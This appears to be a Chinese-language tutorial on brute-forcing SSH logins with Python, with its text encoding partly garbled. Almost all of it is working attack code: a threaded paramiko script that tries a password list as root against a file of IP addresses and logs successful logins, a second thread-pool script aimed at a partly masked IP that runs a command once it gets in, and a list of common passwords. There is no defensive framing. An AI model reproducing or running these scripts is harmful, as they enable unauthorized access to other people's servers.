手把手教你用Python進(jìn)行SSH暴力破解

#?!/usr/bin/python?python
#?-*-?coding:?utf-8?-*-

import?paramiko,?threading,?sys,?time,?os

class?SSHThread(threading.Thread):
????def?__init__(self,?ip,?port,?timeout,?dic,?LogFile):
????????threading.Thread.__init__(self)
????????self.ip?=?ip
????????self.port?=?port
????????self.dict?=?dic
????????self.timeout?=?timeout
????????self.LogFile?=?LogFile

????def?run(self):
????????print("Start?try?ssh?=>?%s"?%?self.ip)
????????username?=?"root"
????????try:
????????????password?=?open(self.dict).read().split('\n')
????????except:
????????????print("Open?dict?file?`%s`?error"?%?self.dict)
????????????exit(1)
????????for?pwd?in?password:
????????????try:
????????????????ssh?=?paramiko.SSHClient()
????????????????ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
????????????????ssh.connect(self.ip,?self.port,?username,?pwd,?timeout=self.timeout)
????????????????print("\nIP?=>?%s,?Login?%s?=>?%s?\n"?%?(self.ip,?username,?pwd))
????????????????open(self.LogFile,?"a").write("[?%s?]?IP?=>?%s,?port?=>?%d,?%s?=>?%s?\n"?%?(
????????????????time.asctime(time.localtime(time.time())),?self.ip,?self.port,?username,?pwd))
????????????????break
????????????except:
????????????????print("IP?=>?%s,?Error?%s?=>?%s"?%?(self.ip,?username,?pwd))
????????????????pass


def?ViolenceSSH(ip,?port,?timeout,?dic,?LogFile):
????ssh_scan?=?SSHThread(ip,?port,?timeout,?dic,?LogFile)
????ssh_scan.start()


def?main(ipFile,?dic,?log):
????if?ipFile?==?"-h":
????????help()
????try:
????????ipText?=?open(ipFile).read().split('\n')
????????for?ip?in?ipText:
????????????if?ip?!=?'':
????????????????time.sleep(0.5)
????????????????threading.Thread(target=ViolenceSSH,?args=(ip,?22,?1,?dic,?log,)).start()
????except:
????????print("Open?IP?list?file?`%s`?error"?%?ipFile)
????????exit(1)


def?help():
????print("python?ssh.scan.py?:\n\
????????修改dict下的ip文件，password按需求修改，然后執(zhí)行腳本。?\n")
????exit(1)


if?__name__?==?'__main__':

????fpath?=?os.path.dirname(os.path.abspath('__file__'))
????ipFile?=?sys.argv[1]?if?len(sys.argv)?>?1?else?fpath?+?"/dict/ip"
????dic?=?sys.argv[2]?if?len(sys.argv)?>?2?else?fpath?+?"/dict/password"
????log?=?sys.argv[3]?if?len(sys.argv)?>?3?else?fpath?+?"/log/sshd"

????try:
????????os.system("clear")
????????main(ipFile,?dic,?log)
????except?KeyboardInterrupt:
????????exit(1)

pip?install?paramiko

import?sys
import?paramiko
import?threading
from?concurrent.futures?import?ThreadPoolExecutor

ssh?=?paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())??
is_find=False

def?SshCheck(password):
????try:
????????ssh.connect("119.23.xx.xx",?22,?'root',?password,?timeout=1.5)
????????stdin,?stdout,?stderr?=?ssh.exec_command('df')
????????result?=?stdout.read()
????????if?result:
????????????sys.stdout.write('[OK]'?+?'\t'?+?password?+?'\n')
????????????global?is_find
????????????is_find?=?True
????????????exit()
????except?Exception?as?e:
????????print(e,?"失?。。。?)
????finally:
????????ssh.close()

filedata?=?open("pwds.txt",?"r")
def?run():
????pool?=?ThreadPoolExecutor(3)
????while?1:
????????global?is_find
????????if?is_find:
????????????break
????????line?=?filedata.readline()
????????if?not?line:
????????????break
????????line?=?line.strip("\n")
????????pool.submit(SshCheck,line)

run()

password
123456
12345678
1234
qwerty
12345
dragon
pussy
baseball
football
letmein
monkey
696969
abc123
mustang
michael
shadow
master
jennifer
111111
2000
jordan
...
...

python?sshfucker.py